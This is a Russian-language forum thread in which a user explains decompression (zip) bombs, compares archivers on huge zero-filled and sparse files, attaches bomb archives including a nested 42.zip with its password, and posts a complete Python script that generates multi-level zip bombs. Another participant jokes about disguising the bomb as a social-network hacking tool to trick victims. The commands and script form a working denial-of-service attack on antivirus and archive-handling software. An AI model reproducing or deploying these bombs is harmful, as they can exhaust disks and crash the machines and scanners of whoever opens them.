[ОТВЕТИТЬ]
16.09.2011 22:05
OlegON
 
В общем, многие, наверное, знают, что с древних времен существует разновидность гадостей, именуемая файл-бомбой. Изготовляется очень просто, равно как и ловится уже давным давно по степени сжатия большинством вменяемого софта. Принцип действия бомбы простой. Пишу уже вечером в пятницу, поэтому сбивчиво. Итак, однородные массы данных очень хорошо жмутся архиваторами. Берем гигантский файлик из одних ноликов, называем файл .exe и жмем его в архив. Антивирус, например, постарается распаковать этот файлик и, если он совсем древний и глупый, то скорее всего завалит машину владельца. Аналогичным образом можно подставить кучу разнообразного софта, интересующегося содержимым архивов. Раньше очень весело было в FIDO подкинуть вместо почтового пакета бомбу, тоссер бедный раз за разом пытался ее развернуть... Ну сейчас уже как-то несерьезно такими вещами заниматься, способ давно известный и интересен с академической точки зрения. Итак, первый вопрос в том, как получить такой файлик. Под Линуксом можно сделать все, просто прочитаем нужное количество нулей из /dev/zero
Код:
dd if=/dev/zero of=readme.txt bs=1024000 count=200000
во время работы утилитки можно посылать ей killall -USR1 dd, чтобы она отображала текущий прогресс. Я запускал с другими параметрами, в общем, у меня получился файлик на 220934Mб. Из интересующих меня архиваторов (а я интересовался есть ли замена лидеру, 7z) выбрал только новомодный xz, поддержка которого недавно появилась в tar.
Запускал c параметрами:
7z a -t7z -m0=lzma -mx=9 -mfb=64 -md=32m -ms=on
xz -9 -e
Итог ошеломляет.
7z работал около 6 часов (i5 2500S), файл 31913K
xz работал около 16 часов (!), файл 32907K
в общем, нет пока замены моему любимому 7z. Если кому-то интересно, файлики (архивы) лежат в папке OlegON на ftp.
12.05.2017 12:08
OlegON
 
Как-то слабенько я в 2011 разбирался в файловых бомбах :)

Итак, файловая бомба.

Во-первых, для того, чтобы создать ее, не надо мучиться и забивать себе диск dd. Создаем файлик на 10Т (терабайт)
Код:
truncate -s 10T /db1/oradata/dump.sql
если файловая система нормальная и поддерживает sparse files, то можно создать файлик и на 100Тб, независимо от того, сколько на самом деле у вас диск. Файлик создается меньше, чем за секунду.

Во-вторых, xz и 7z, конечно, хорошо, но с однообразными файликами лучше разбирается bzip2. Увы, сворачивать придется в реальном времени, поэтому работать будет долго. Порадуйтесь, что распаковываться все будет тоже долго и еще и не в sparse file :)
Код:
bzip2 dump.sql
сверху еще gzip можно полирнуть.
На 100Тб мне время жаль тратить, но архив с файликом чуть больше терабайта я прикладываю.
Вложения
Тип файла: gz dump.sql.bz2.gz (2.4 Кб, 14 просмотров)
12.05.2017 12:33
baggio
 
0 просмотров...
ты я так смотрю еще и роскомнадзор тролишь...
12.05.2017 13:11
OlegON
 
а он тут при чем? сугубо исследовательское сравнение архиваторов...
12.05.2017 17:18
baggio
 
ага... для помощи в поиске роскомнадзору
Как правильно взорвать бомбу причинив побольше вреда...
Как спрятать бомбу в архиве...
как переслать бомбу через почту...
жди... письмо счастья...
16.05.2017 09:30
OlegON
 
Вот, файловая бомба на 10 терабайт.
Вложения
Тип файла: gz dump.sql.bz2.gz (18.3 Кб, 19 просмотров)
16.05.2017 14:02
Micle
 
Цитата:
OlegON Вот, файловая бомба на 10 терабайт.
Код:
DISKPART> list volume

  Том    ###  Имя  Метка        ФС     Тип         Размер   Состояние  Сведения
  ----------  ---  -----------  -----  ----------  -------  ---------  --------
     Том 0     H   LongVideo    NTFS   Составной     16 Tб  Исправен
     Том 1     G   data4        NTFS   Составной     27 Tб  Исправен
     Том 2     F   data3        NTFS   Составной     27 Tб  Исправен
     Том 3     E   data2        NTFS   Составной     27 Tб  Исправен
     Том 4     D   data1        NTFS   Составной     27 Tб  Исправен
     Том 5         Зарезервиро  NTFS   Раздел       500 Mб  Исправен   Системны
     Том 6     C   system       NTFS   Раздел       232 Gб  Исправен   Загрузоч
слабовато ))) давай на 100Tb )))
16.05.2017 15:43
OlegON
 
Что слабовато? Ты распакуй, покури несколько дней :) :)
12.07.2017 15:45
OlegON
 
В файле 16 zip-файлов, которые содержат 16 zip-файлов, которые опять содержат 16 zip-файлов, которые опять содержат 16 zip-файлов, которые содержат по одному файлу, размером 4.3GB.

Если все распакуете, место у вас точно кончится

16 x 4294967295 = 68.719.476.720 (68GB)
16 x 68719476720 = 1.099.511.627.520 (1TB)
16 x 1099511627520 = 17.592.186.040.320 (17TB)
16 x 17592186040320 = 281.474.976.645.120 (281TB)
16 x 281474976645120 = 4.503.599.626.321.920 (4,5PB)


Пароль: 42
Вложения
Тип файла: zip 42.zip (41.8 Кб, 19 просмотров)
12.07.2017 15:48
sh00r00p
 
А что в файле? Порнуха? Или текст))
18.07.2017 07:51
BotMan
 
Если его обозвать как средство для взлома чужих страничек ВК и ОК - тогда точно будет БОМБА!!!
18.07.2017 13:39
joutchik
 
распакуй и посмотри
20.07.2017 10:21
OlegON
 
Немного питона для создания.
Формат вызова: zipbomb.py n_levels out_zip_file
Пример: python zipbomb.py 10 out.zip
Код:
import zlib
import zipfile
import shutil
import os
import sys
import time

def get_file_size(filename):
	st = os.stat(filename)
	return st.st_size

def generate_dummy_file(filename,size):
	with open(filename,'w') as dummy:
		for i in xrange(1024):
			dummy.write((size*1024*1024)*'0')

def get_filename_without_extension(name):
	return name[:name.rfind('.')]

def get_extension(name):
	return name[name.rfind('.')+1:]

def compress_file(infile,outfile):
	zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True)
	zf.write(infile, compress_type=zipfile.ZIP_DEFLATED)
	zf.close()

def make_copies_and_compress(infile, outfile, n_copies):
	zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True)
	for i in xrange(n_copies):
		f_name = '%s-%d.%s' % (get_filename_without_extension(infile),i,get_extension(infile))
		shutil.copy(infile,f_name)
		zf.write(f_name, compress_type=zipfile.ZIP_DEFLATED)
		os.remove(f_name)
	zf.close()

if __name__ == '__main__':
	if len(sys.argv) < 3:
		print 'Usage:\n'
		print ' zipbomb.py n_levels out_zip_file'
		exit()
	n_levels = int(sys.argv[1])
	out_zip_file = sys.argv[2]
	dummy_name = 'dummy.txt'
	start_time = time.time()
	generate_dummy_file(dummy_name,1)
	level_1_zip = '1.zip'
	compress_file(dummy_name, level_1_zip)
	os.remove(dummy_name)
	decompressed_size = 1
	for i in xrange(1,n_levels+1):
		make_copies_and_compress('%d.zip'%i,'%d.zip'%(i+1),10)
		decompressed_size *= 10
		os.remove('%d.zip'%i)
	if os.path.isfile(out_zip_file):
		os.remove(out_zip_file)
	os.rename('%d.zip'%(n_levels+1),out_zip_file)
	end_time = time.time()
	print 'Compressed File Size: %.2f KB'%(get_file_size(out_zip_file)/1024.0)
	print 'Size After Decompression: %d GB'%decompressed_size
	print 'Generation Time: %.2fs'%(end_time - start_time)
Опции темы


Часовой пояс GMT +3, время: 21:08.

 

Форум сделан на основе vBulletin®
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot и OlegON
В случае заимствования информации гипертекстовая индексируемая ссылка на Форум обязательна.